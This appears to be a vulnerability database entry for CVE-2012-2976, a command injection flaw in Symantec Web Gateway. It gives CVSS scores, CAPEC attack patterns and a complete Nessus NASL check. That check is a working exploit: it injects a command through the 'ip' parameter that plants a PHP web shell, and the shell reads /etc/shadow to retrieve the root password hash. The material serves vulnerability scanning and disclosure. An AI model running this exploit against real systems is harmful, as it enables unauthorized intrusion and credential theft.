Vulnerabilities > CVE-2012-2976 - OS Command Injection vulnerability in Symantec web Gateway

047910
CVSS 10.0 - CRITICAL
Attack vector
NETWORK
Attack complexity
LOW
Privileges required
NONE
Confidentiality impact
COMPLETE
Integrity impact
COMPLETE
Availability impact
COMPLETE
network
low complexity
symantec
CWE-78
critical
nessus

Summary

The management console in Symantec Web Gateway 5.0.x before 5.0.3.18 allows remote attackers to execute arbitrary shell commands via crafted input to application scripts, related to an "injection" issue.

Common Attack Pattern Enumeration and Classification (CAPEC)

  • Command Line Execution through SQL Injection
    An attacker uses standard SQL injection methods to inject data into the command line for execution. This could be done directly through misuse of directives such as MSSQL_xp_cmdshell or indirectly through injection of data into the database that would be interpreted as shell commands. Sometime later, an unscrupulous backend application (or could be part of the functionality of the same application) fetches the injected data stored in the database and uses this data as command line arguments without performing proper validation. The malicious data escapes that data plane by spawning new commands to be executed on the host.
  • Command Delimiters
    An attack of this type exploits a programs' vulnerabilities that allows an attacker's commands to be concatenated onto a legitimate command with the intent of targeting other resources such as the file system or database. The system that uses a filter or a blacklist input validation, as opposed to whitelist validation is vulnerable to an attacker who predicts delimiters (or combinations of delimiters) not present in the filter or blacklist. As with other injection attacks, the attacker uses the command delimiter payload as an entry point to tunnel through the application and activate additional attacks through SQL queries, shell commands, network scanning, and so on.
  • Exploiting Multiple Input Interpretation Layers
    An attacker supplies the target software with input data that contains sequences of special characters designed to bypass input validation logic. This exploit relies on the target making multiples passes over the input data and processing a "layer" of special characters with each pass. In this manner, the attacker can disguise input that would otherwise be rejected as invalid by concealing it with layers of special/escape characters that are stripped off by subsequent processing steps. The goal is to first discover cases where the input validation layer executes before one or more parsing layers. That is, user input may go through the following logic in an application: In such cases, the attacker will need to provide input that will pass through the input validator, but after passing through parser2, will be converted into something that the input validator was supposed to stop.
  • Argument Injection
    An attacker changes the behavior or state of a targeted application through injecting data or command syntax through the targets use of non-validated and non-filtered arguments of exposed services or methods.
  • OS Command Injection
    In this type of an attack, an adversary injects operating system commands into existing application functions. An application that uses untrusted input to build command strings is vulnerable. An adversary can leverage OS command injection in an application to elevate privileges, execute arbitrary commands and compromise the underlying operating system.

D2sec

nameSymantec Web Gateway 5.0.3 RCE
urlhttp://www.d2sec.com/exploits/symantec_web_gateway_5.0.3_rce.html

Nessus

NASL familyCGI abuses
NASL idSYMANTEC_WEB_GATEWAY_RCE.NASL
descriptionThe Symantec Web Gateway install on the remote host is affected by a remote shell command execution vulnerability due to its failure to sanitize input to the
last seen2020-06-01
modified2020-06-02
plugin id61435
published2012-08-06
reporterThis script is Copyright (C) 2012-2019 and is owned by Tenable, Inc. or an Affiliate thereof.
sourcehttps://www.tenable.com/plugins/nessus/61435
titleSymantec Web Gateway Multiple Script Shell Command Execution (SYM12-011)
code
#
# (C) Tenable Network Security, Inc.
#

include("compat.inc");

if (description)
{
  script_id(61435);
  script_version("1.16");
  script_cvs_date("Date: 2019/12/04");

  script_cve_id("CVE-2012-2957", "CVE-2012-2976");
  script_bugtraq_id(54427, 54429);
  script_xref(name:"TRA", value:"TRA-2012-16");
  script_xref(name:"CERT", value:"108471");
  script_xref(name:"EDB-ID", value:"20064");

  script_name(english:"Symantec Web Gateway Multiple Script Shell Command Execution (SYM12-011)");
  script_summary(english:"Retrieves the contents of /etc/shadow.");

  script_set_attribute(attribute:"synopsis", value:
"The remote host is affected by a shell command execution
vulnerability.");
  script_set_attribute(attribute:"description", value:
"The Symantec Web Gateway install on the remote host is affected by a
remote shell command execution vulnerability due to its failure to
sanitize input to the 'ip' parameter of the 'fromha.php' script.

An unauthenticated, remote attacker can exploit this vulnerability to
save a random PHP script on the affected host and then execute that as
a privileged user. 

Note that this install is likely affected by several other issues,
although this plugin has not checked for them.");
  script_set_attribute(attribute:"see_also", value:"https://www.tenable.com/security/research/tra-2012-16");
  # https://support.symantec.com/en_US/article.SYMSA1255.html
  script_set_attribute(attribute:"see_also", value:"http://www.nessus.org/u?dc337806");
  script_set_attribute(attribute:"solution", value:
"Upgrade to Symantec Web Gateway version 5.0.3.18 and apply database
upgrade 5.0.0.438.");
  script_set_cvss_base_vector("CVSS2#AV:N/AC:L/Au:N/C:C/I:C/A:C");
  script_set_cvss_temporal_vector("CVSS2#E:F/RL:OF/RC:C");

  script_set_attribute(attribute:"exploitability_ease", value:"No exploit is required");
  script_set_attribute(attribute:"exploit_available", value:"true");
  script_set_attribute(attribute:"d2_elliot_name", value:"Symantec Web Gateway 5.0.3 RCE");
  script_set_attribute(attribute:"exploit_framework_d2_elliot", value:"true");
  script_set_attribute(attribute:"exploited_by_nessus", value:"true");

  script_set_attribute(attribute:"vuln_publication_date", value:"2012/07/20");
  script_set_attribute(attribute:"patch_publication_date", value:"2012/07/20");
  script_set_attribute(attribute:"plugin_publication_date", value:"2012/08/06");

  script_set_attribute(attribute:"plugin_type", value:"remote");
  script_set_attribute(attribute:"cpe", value:"cpe:/a:symantec:web_gateway");
  script_end_attributes();

  script_category(ACT_DESTRUCTIVE_ATTACK);
  script_family(english:"CGI abuses");

  script_copyright(english:"This script is Copyright (C) 2012-2019 and is owned by Tenable, Inc. or an Affiliate thereof.");

  script_dependencies("symantec_web_gateway_detect.nasl");
  script_require_keys("www/symantec_web_gateway");
  script_require_ports("Services/www", 443);

  exit(0);
}

include("audit.inc");
include("global_settings.inc");
include("misc_func.inc");
include("http.inc");
include("webapp_func.inc");

port = get_http_port(default:443, php:TRUE);
install = get_install_from_kb(appname:'symantec_web_gateway', port:port, exit_on_fail:TRUE);

base_url = build_url(qs:install['dir'], port:port);

dir = '/var/www/html/spywall/';
shell = 'cleaner/nessus' + rand_str() + unixtime() + '.php';
cmd = 'echo "<?php system(\'sudo cat /etc/shadow\'); ?>" > ' + dir + shell;
postdata = 'policy=1&ip=|' + cmd + '|';

exploit_url = "/spywall/download_file.php?language=../ciu/fromha.php%00";

res = http_send_recv3(method:"POST",
                      item:exploit_url,
                      data:postdata,
                      port:port,
                      add_headers:make_array("Content-Type", "application/x-www-form-urlencoded"),
                      exit_on_fail:TRUE);

sleep(2);

res = http_send_recv3(method:"GET",
                      item:'/spywall/' + shell,
                      port:port,
                      exit_on_fail:TRUE);

if (res[2] =~ "^root:[^:]+:[0-9:]+:::")
{
  if (report_verbosity > 0)
  {
    item = eregmatch(pattern:"^root:([^:]+):[0-9:]+:::", string:res[2]);
    root_user = item[0];
    root_hash = item[1];
    root_hash_repl = item[1];

    for(i=strlen(root_hash)/2; i < strlen(root_hash); i++)
      root_hash_repl[i] = '*';

    root_user = str_replace(find:root_hash, replace:root_hash_repl, string:root_user);

    report =
      '\nNessus was able to exploit the vulnerability to obtain the root' +
      '\npassword hash from /etc/shadow :' +
      '\n' +
      '\n  Root user      : ' + root_user +
      '\n  Script created : ' + build_url(qs:'/spywall/' + shell, port:port) +
      '\n' +
      '\nNote that the password hash displayed here has been partially' +
      '\nobfuscated.  You may want to remove the files created by Nessus' +
      '\nin /var/www/html/spywall/cleaner after patching the vulnerability.\n';

    security_hole(extra:report, port:port);
  }
  else security_hole(port);
}
else audit(AUDIT_WEB_APP_NOT_AFFECTED, 'SWG', base_url);